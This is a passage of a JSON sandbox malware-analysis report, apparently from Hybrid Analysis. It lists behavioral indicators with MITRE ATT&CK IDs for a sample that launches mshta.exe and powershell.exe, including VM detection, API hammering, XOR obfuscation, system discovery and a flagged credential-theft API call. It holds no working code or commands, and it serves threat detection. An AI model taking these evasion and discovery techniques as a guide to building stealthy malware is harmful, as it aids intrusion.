\"00000000-00005964.00000003.86793.00550000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\LCD; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"powershell.exe\" queried SystemProcessInformation at 00000000-00003436-00000105-3477649 [PID: 3436]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003436-00000105-3755684 [PID: 3436]\n \"powershell.exe\" queried SystemProcessInformation at 00000000-00003436-00000105-5539634 [PID: 3436]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 25556-883-0040BB7A\n SetUnhandledExceptionFilter@KERNEL32.dll at 25556-980-004087C2\n SetUnhandledExceptionFilter@KERNEL32.dll at 25556-1259-00402DBC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss!\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2c","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"00000000-00005964.00000002.81275.018DC000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002164.00000000.83063.002A0000.00000004.mdmp, 00000000-00002164.00000001.84984.002A0000.00000004.mdmp, 00000000-00002164.00000002.85189.002EA000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005964.00000000.77427.00640000.00000004.mdmp, 00000000-00005964.00000001.79349.00640000.00000004.mdmp, 00000000-00005964.00000002.81275.00640000.00000004.mdmp, 00000000-00005964.00000003.86793.00640000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.60071","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"Found XOR loop in file \"DISMHOST.EXE.6C8DE937.bin\" at offset 76665; code bytes = 30d0\n Found XOR loop in file \"DISMHOST.EXE.6C8DE937.bin\" at offset 77648; code bytes = 8030\n Found XOR loop in file \"DISMHOST.EXE.6C8DE937.bin\" at offset 77788; code bytes = 8030\n Found XOR loop in file \"DISMHOST.EXE.6C8DE937.bin\" at offset 78978; code bytes = 8030\n Found XOR loop in file \"sample.bin\" at offset 274653; code bytes = 30d0\n Found XOR loop in file \"sample.bin\" at offset 280661; code bytes = 30d0\n Found XOR loop in file \"sample.bin\" at offset 289209; code bytes = 30d0\n Found XOR loop in file \"sample.bin\" at offset 222256; code bytes = 33c1\n Found XOR loop in file \"sample.bin\" at offset 294380; code bytes = 33c1\n Found XOR loop in file \"sample.bin\" at offset 206659; code bytes = 8030","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to detect virtual machine (string)","description":"Found string \"\\SystemRoot\\system32\\drivers\\vm3dmp-stats.sys\" (Source: \"00000000-00002164.00000001.84984.002A0000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\drivers\\vm3dmp_loader.sys\" (Source: \"00000000-00002164.00000001.84984.002A0000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\drivers\\vm3dmp.sys\" (Source: \"00000000-00002164.00000001.84984.002A0000.00000004.mdmp\")\n Found string \"\\SystemRoot\\system32\\drivers\\vm3dmp-debug.sys\" (Source: \"00000000-00002164.00000001.84984.002A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-989","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResourceW\"; File: \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\")\n Found reference to API \"WNetEnumResourceW\" (Indicator: \"WNetEnumResourceW\"; Source: \"00000000-00005964.00000000.77427.00459000.00000004.mdmp, 00000000-00005964.00000000.77427.02440000.00000004.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"GetUserNameW\" (Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003436-00000C2C-307111310\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00003436-00000C2C-308465970\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005964-00000C2C-214644763\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005964-00000C2C-214644962\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005964-00000C2C-214645300\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00003436-00000C2C-308613003\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"mshta.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005964)\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005964)\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00005964)\n \"mshta.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00003516)\n \"mshta.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005964)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"mshta.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"IsWow64Process\" with parameter \"5964\" - (UID: 00000000-00005964)\n \"mshta.exe\" called \"IsWow64Process\" with parameter \"3516\" - (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"mshta.exe\" called \"GetWindowTextW\" (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005964)\n \"mshta.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003516)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"mshta.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00005964)\n \"mshta.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003516)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005964)\n \"mshta.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003516)\n \"mshta.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00003516)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindNextFileW@KERNEL32.dll at 25556-900-00407DE2\n FindFirstFileW@KERNEL32.dll at 25556-1090-004070E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.dll at 25556-769-004089CC\n GetVersionExA@KERNEL32.dll at 25556-896-00405366\n GetVersionExW@KERNEL32.dll at 25556-1058-004098C0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.dll at 25556-759-0040A83E\n GetLocaleInfoA@KERNEL32.dll at 25556-765-0040C016\n GetLocaleInfoA@KERNEL32.dll at 25556-771-00408444\n GetLocaleInfoW@KERNEL32.dll at 25556-847-00406123\n GetLocaleInfoA@KERNEL32.dll at 25556-1087-00407580","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver Manager: PID=2164 Building driver collection for package 'oem11.inf'. - CDriverPackage::CreateDriverCollection\" (Indicator: \"ver \") in Source: 00000000-00002164.00000001.84984.002A0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 25556-1074-004084D0\n OpenProcessToken@ADVAPI32.dll at 25556-2999-004031C3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 00000000-00005964.00000000.77427.00550000.00000040.mdmp\n 00000000-00005964.00000000.77427.01450000.00000004.mdmp\n 00000000-00005964.00000000.77427.018B0000.00000004.mdmp\n 00000000-00005964.00000001.79349.00550000.00000040.mdmp\n 00000000-00005964.00000001.79349.01450000.00000004.mdmp\n 00000000-00005964.00000002.81275.00550000.00000040.mdmp\n 00000000-00005964.00000002.81275.01450000.00000004.mdmp\n 00000000-00005964.00000002.81275.01908000.00000004.mdmp\n 00000000-00005964.00000003.86793.00550000.00000040.mdmp\n 00000000-00005964.00000003.86793.01450000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\times.ttf\" at 00000000-00003516-0000010C-30723364\n \"powershell.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll\" at 00000000-00003436-0000010C-3998075\n \"powershell.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll\" at 00000000-00003436-0000010C-4546306\n \"powershell.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00003436-0000010C-5004068\n \"powershell.exe\" queries volume information of \"C:\\share\" at 00000000-00003436-0000010C-5005456\n \"powershell.exe\" queries volume information of \"C:\\share\" at 00000000-00003436-0000010C-5335592","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" (Path: 